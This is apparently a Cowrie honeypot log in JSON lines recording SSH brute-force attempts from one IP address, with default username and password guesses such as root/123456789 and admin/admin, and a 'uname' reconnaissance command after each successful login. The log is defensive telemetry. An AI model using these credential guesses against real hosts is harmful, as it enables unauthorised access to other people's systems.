{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:46.208562Z","src_ip":"193.151.144.93","session":"e68ef56fdebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:46.613947Z","src_ip":"43.242.203.160","session":"5925da4711ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:46.725972Z","src_ip":"193.151.144.93","session":"e68ef56fdebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:47.414221Z","src_ip":"103.172.78.219","session":"72e71330d8db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.01650094985962,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:48.188604Z","src_ip":"69.4.83.194","session":"ead1daae9646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:48.763725Z","src_ip":"193.151.144.93","session":"e68ef56fdebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40914,"dst_ip":"10.17.0.5","dst_port":22,"session":"84ef0876ca45","protocol":"ssh","message":"New connection: 193.151.144.93:40914 (10.17.0.5:22) [session: 84ef0876ca45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:51.630992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:51.640309Z","src_ip":"193.151.144.93","session":"84ef0876ca45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:51.803293Z","src_ip":"193.151.144.93","session":"84ef0876ca45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:52.294085Z","src_ip":"193.151.144.93","session":"84ef0876ca45","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:56.828674Z","src_ip":"193.151.144.93","session":"84ef0876ca45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:56.834233Z","src_ip":"193.151.144.93","session":"84ef0876ca45","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:57.001495Z","src_ip":"193.151.144.93","session":"84ef0876ca45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:57.007175Z","src_ip":"193.151.144.93","session":"84ef0876ca45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40918,"dst_ip":"10.17.0.5","dst_port":22,"session":"814ef54b095f","protocol":"ssh","message":"New connection: 193.151.144.93:40918 (10.17.0.5:22) [session: 814ef54b095f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:57.259813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:57.264838Z","src_ip":"193.151.144.93","session":"814ef54b095f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:57.432616Z","src_ip":"193.151.144.93","session":"814ef54b095f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:18:57.936074Z","src_ip":"193.151.144.93","session":"814ef54b095f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:00.911630Z","src_ip":"193.151.144.93","session":"814ef54b095f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:00.915288Z","src_ip":"193.151.144.93","session":"814ef54b095f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:01.094393Z","src_ip":"193.151.144.93","session":"814ef54b095f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:01.100410Z","src_ip":"193.151.144.93","session":"814ef54b095f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53320,"dst_ip":"10.17.0.5","dst_port":22,"session":"6144977c29b6","protocol":"ssh","message":"New connection: 193.151.144.93:53320 (10.17.0.5:22) [session: 6144977c29b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:03.093139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:03.099201Z","src_ip":"193.151.144.93","session":"6144977c29b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:03.268506Z","src_ip":"193.151.144.93","session":"6144977c29b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:03.756118Z","src_ip":"193.151.144.93","session":"6144977c29b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:05.746789Z","src_ip":"193.151.144.93","session":"6144977c29b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53336,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa4cbb2e4aeb","protocol":"ssh","message":"New connection: 193.151.144.93:53336 (10.17.0.5:22) [session: aa4cbb2e4aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:08.841612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:08.849978Z","src_ip":"193.151.144.93","session":"aa4cbb2e4aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:09.016100Z","src_ip":"193.151.144.93","session":"aa4cbb2e4aeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:09.530488Z","src_ip":"193.151.144.93","session":"aa4cbb2e4aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:12.377384Z","src_ip":"193.151.144.93","session":"aa4cbb2e4aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48970,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd898a158e8b","protocol":"ssh","message":"New connection: 193.151.144.93:48970 (10.17.0.5:22) [session: cd898a158e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:14.104959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:14.155095Z","src_ip":"193.151.144.93","session":"cd898a158e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:14.309129Z","src_ip":"193.151.144.93","session":"cd898a158e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:15.005176Z","src_ip":"193.151.144.93","session":"cd898a158e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:16.185226Z","src_ip":"193.151.144.93","session":"cd898a158e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48974,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4b28cc6cc84","protocol":"ssh","message":"New connection: 193.151.144.93:48974 (10.17.0.5:22) [session: d4b28cc6cc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:19.677488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:19.684079Z","src_ip":"193.151.144.93","session":"d4b28cc6cc84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:19.859488Z","src_ip":"193.151.144.93","session":"d4b28cc6cc84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:20.375323Z","src_ip":"193.151.144.93","session":"d4b28cc6cc84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:21.985188Z","src_ip":"193.151.144.93","session":"d4b28cc6cc84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":60038,"dst_ip":"10.17.0.5","dst_port":22,"session":"69b8a6ab6df6","protocol":"ssh","message":"New connection: 193.151.144.93:60038 (10.17.0.5:22) [session: 69b8a6ab6df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:25.076440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:19:25.082705Z","src_ip":"193.151.144.93","session":"69b8a6ab6df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 